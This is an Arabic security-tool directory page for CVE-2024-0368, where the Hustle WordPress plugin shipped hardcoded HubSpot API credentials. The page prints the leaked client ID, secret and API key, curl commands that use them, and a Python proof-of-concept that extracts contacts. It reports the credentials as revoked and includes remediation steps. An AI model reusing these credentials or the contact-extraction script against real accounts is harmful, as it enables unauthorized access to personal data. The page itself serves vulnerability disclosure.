Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/randomrobbiebf/cve-2024-0368
تحليل الثغرات الأمنيةالاستغلالجمع المعلوماتأمن الويبكشف الأسرارالتعلم والتعليم
GitHubrandomrobbiebf/cve-2024-0368

CVE-2024-0368

يحتوي إضافة Hustle الإصدار 7.8.3 أو أقل على بيانات اعتماد HubSpot API مضمّنة في الملف inc/providers/hubspot/hustle-hubspot-api.php

عرض المستودع
1منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-0368

المكون الإضافي Hustle <= 7.8.3 يحتوي على بيانات اعتماد HubSpot API المضمنة بشكل ثابت في الملف inc/providers/hubspot/hustle-hubspot-api.php

ملخص الثغرة الأمنية

الحقلالقيمة
CVE IDCVE-2024-0368
العنوانHustle <= 7.8.3 - تعرض معلومات حساسة عبر مفاتيح HubSpot API المكشوفة
درجة CVSS8.6 (عالي)
المكون الإضافي المتأثرHustle - التسويق عبر البريد الإلكتروني، توليد العملاء المحتملين، النوافذ المنبثقة (wordpress-popup)
الإصدارات الضعيفة<= 7.8.3
الإصدار الذي تم تصحيحه7.8.4
نوع الثغرةCWE-200: تعرض المعلومات الحساسة

التحليل الفني

موقع الكود الضعيف

الملف: inc/providers/hubspot/hustle-hubspot-api.php

root@kitploit:~
class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
    const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
    const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
    const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';
    const BASE_URL      = 'https://app.hubspot.com/';
    const API_URL       = 'https://api.hubapi.com/';
    const SCOPE         = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';

بيانات الاعتماد المكشوفة

نطاقات OAuth (الوصول المحتمل)

طلب تكوين OAuth المضمن بشكل ثابت نطاقات HubSpot التالية:

  • oauth - مصادقة OAuth
  • crm.objects.contacts.write - إنشاء/تعديل جهات الاتصال
  • crm.objects.contacts.read - قراءة معلومات جهات الاتصال (معلومات التعريف الشخصية)
  • crm.lists.read - قراءة قوائم التسويق
  • crm.lists.write - تعديل قوائم التسويق
  • crm.schemas.contacts.write - تعديل مخططات جهات الاتصال
  • crm.schemas.contacts.read - قراءة مخططات جهات الاتصال

شرح الثغرة

السبب الجذري

قام WPMUDEV بتضمين بيانات اعتماد تطبيق HubSpot OAuth الخاصة بهم بشكل ثابت مباشرة في الكود المصدري للمكون الإضافي. هذا انتهاك لممارسات التطوير الآمنة للأسباب التالية:

  1. التعرض العام: مكونات WordPress الإضافية مفتوحة المصدر - الكود متاح للعموم في مستودع SVN الخاص بـ wordpress.org
  2. التوزيع الواسع: المكون الإضافي Hustle لديه 100,000+ تثبيت نشط
  3. مشاركة بيانات الاعتماد: جميع تثبيتات المكون الإضافي تشارك نفس بيانات اعتماد API

ناقل الهجوم

يمكن للمهاجم:

  1. تنزيل المكون الإضافي الضعيف من wordpress.org
  2. استخراج بيانات الاعتماد المضمنة من كود PHP المصدر
  3. استخدام هذه البيانات للمصادقة على واجهة برمجة تطبيقات HubSpot
  4. الوصول إلى حساب HubSpot الخاص بـ WPMUDEV وأي بيانات تمت معالجتها من خلال تكاملهم

التأثير المحتمل

باستخدام بيانات اعتماد صالحة، يمكن للمهاجم:

  • قراءة معلومات التعريف الشخصية: الوصول إلى معلومات جهات الاتصال (الأسماء، رسائل البريد الإلكتروني، أرقام الهواتف، العناوين)
  • تعديل البيانات: إنشاء أو تحديث أو حذف جهات الاتصال في HubSpot
  • الوصول إلى قوائم التسويق: عرض ومعالجة قوائم التسويق
  • سرقة البيانات: استخراج بيانات المشتركين من المواقع التي تستخدم تكامل Hustle + HubSpot

إثبات المفهوم

الخطوة 1: تحديد موقع الملف الضعيف

root@kitploit:~
# من تثبيت WordPress
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"

المخرجات:

root@kitploit:~
const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';

الخطوة 2: اختبار الوصول إلى مفتاح API (جهات الاتصال)

root@kitploit:~
curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"

ملاحظة: في وقت الاختبار، تم تدوير/انتهاء صلاحية مفتاح API (متوقع بعد الإفصاح):

root@kitploit:~
{
  "status": "error",
  "message": "The API key used to make this call is expired.",
  "category": "EXPIRED_AUTHENTICATION"
}

الخطوة 3: اختبار تدفق OAuth

root@kitploit:~
curl -X POST "https://api.hubapi.com/oauth/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"

الاستجابة: تم إبطال بيانات الاعتماد.

سكريبت الاستغلال (Python)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3

This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.

For authorized security testing only.
"""

import requests
import json

# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
    "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
    "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
    "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}

HUBSPOT_API = "https://api.hubapi.com"

def test_api_key():
    """Test if the leaked API key is still valid"""
    print("[*] Testing HubSpot API Key...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}

    response = requests.get(url, params=params)
    data = response.json()

    if response.status_code == 200:
        print("[+] API Key is VALID - Vulnerability Exploitable!")
        print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
        return True
    else:
        print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
        return False

def test_oauth():
    """Test OAuth client credentials"""
    print("[*] Testing OAuth credentials...")

    url = f"{HUBSPOT_API}/oauth/v1/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": CREDENTIALS["client_id"],
        "client_secret": CREDENTIALS["client_secret"]
    }

    response = requests.post(url, data=data)
    result = response.json()

    if "access_token" in result:
        print("[+] OAuth credentials VALID - Got access token!")
        return result["access_token"]
    else:
        print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
        return None

def extract_contacts(api_key=None, access_token=None):
    """Extract contacts if credentials are valid"""
    print("[*] Attempting to extract contacts...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    headers = {}
    params = {"limit": 100}

    if access_token:
        headers["Authorization"] = f"Bearer {access_token}"
    elif api_key:
        params["hapikey"] = api_key

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        contacts = response.json()
        print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
        for contact in contacts.get("results", [])[:5]:
            props = contact.get("properties", {})
            print(f"    - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
        return contacts

    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
    print("=" * 60)
    print()

    # Test leaked credentials
    api_valid = test_api_key()
    access_token = test_oauth()

    print()
    if api_valid or access_token:
        print("[!] VULNERABILITY CONFIRMED - Credentials are still active!")
        extract_contacts(
            api_key=CREDENTIALS["hapikey"] if api_valid else None,
            access_token=access_token
        )
    else:
        print("[*] Credentials have been rotated (expected post-disclosure)")
        print("[*] Vulnerability exists in code - credentials were exposed")

    print()
    print("=" * 60)

نتائج التحقق

البيئة:

  • ووردبريس: يعمل على Docker
  • إصدار المكون الإضافي: 7.8.2 (ضعيف)
  • الملف الضعيف: تأكد وجوده مع بيانات اعتماد مضمنة

حالة بيانات الاعتماد:

  • مفتاح API (HAPIKEY): منتهي/تم تدويره (بعد الإفصاح)
  • بيانات اعتماد OAuth: تم إبطالها (بعد الإفصاح)

الخلاصة: تم تأكيد الثغرة الأمنية - بيانات الاعتماد المضمنة موجودة في الكود المصدري وكانت قابلة للاستغلال سابقًا. قام WPMUDEV بتدوير بيانات الاعتماد بعد الإفصاح المسؤول.

الإصلاح

إصلاح المورد (v7.8.4+)

يقوم التصحيح بإزالة بيانات الاعتماد المضمنة وتطبيق تخزين بيانات الاعتماد المناسب:

  • تم نقل بيانات الاعتماد إلى قاعدة البيانات/تكوين البيئة
  • يجب على المستخدمين الآن تكوين بيانات اعتماد HubSpot API الخاصة بهم
  • لا توجد بيانات اعتماد مشتركة بين التثبيتات

توصيات المستخدم

  1. التحديث فورًا: الترقية إلى Hustle 7.8.4 أو أحدث
  2. إعادة تكوين HubSpot: إعداد تكامل HubSpot باستخدام بيانات الاعتماد الخاصة بك
  3. مراجعة سجلات الوصول: التحقق من HubSpot بحثًا عن وصول غير مصرح به إلى API خلال الفترة الضعيفة

الجدول الزمني

التاريخالحدث
2024-01-05نشر CVE-2024-0368
2024-03-08إصدار التصحيح في الإصدار 7.8.4
بعد الإفصاحتم تدوير بيانات الاعتماد بواسطة WPMUDEV

المراجع

  • نشرة Wordfence
  • مجموعة تغييرات المكون الإضافي لووردبريس
  • توثيق HubSpot API
  • إدخال NVD

تم إنشاؤه لأغراض البحث الأمني المصرح به

تنزيل الأداة
بيان الاعتمادالقيمةالغرض
CLIENT_ID5253e533-2dd2-48fd-b102-b92b8f250d1bمعرف تطبيق OAuth2
CLIENT_SECRET2ed54e79-6ceb-4fc6-96d9-58b4f98e6bcaسر العميل OAuth2
HAPIKEYdb9600bf-648c-476c-be42-6621d7a1f96aمفتاح API HubSpot القديم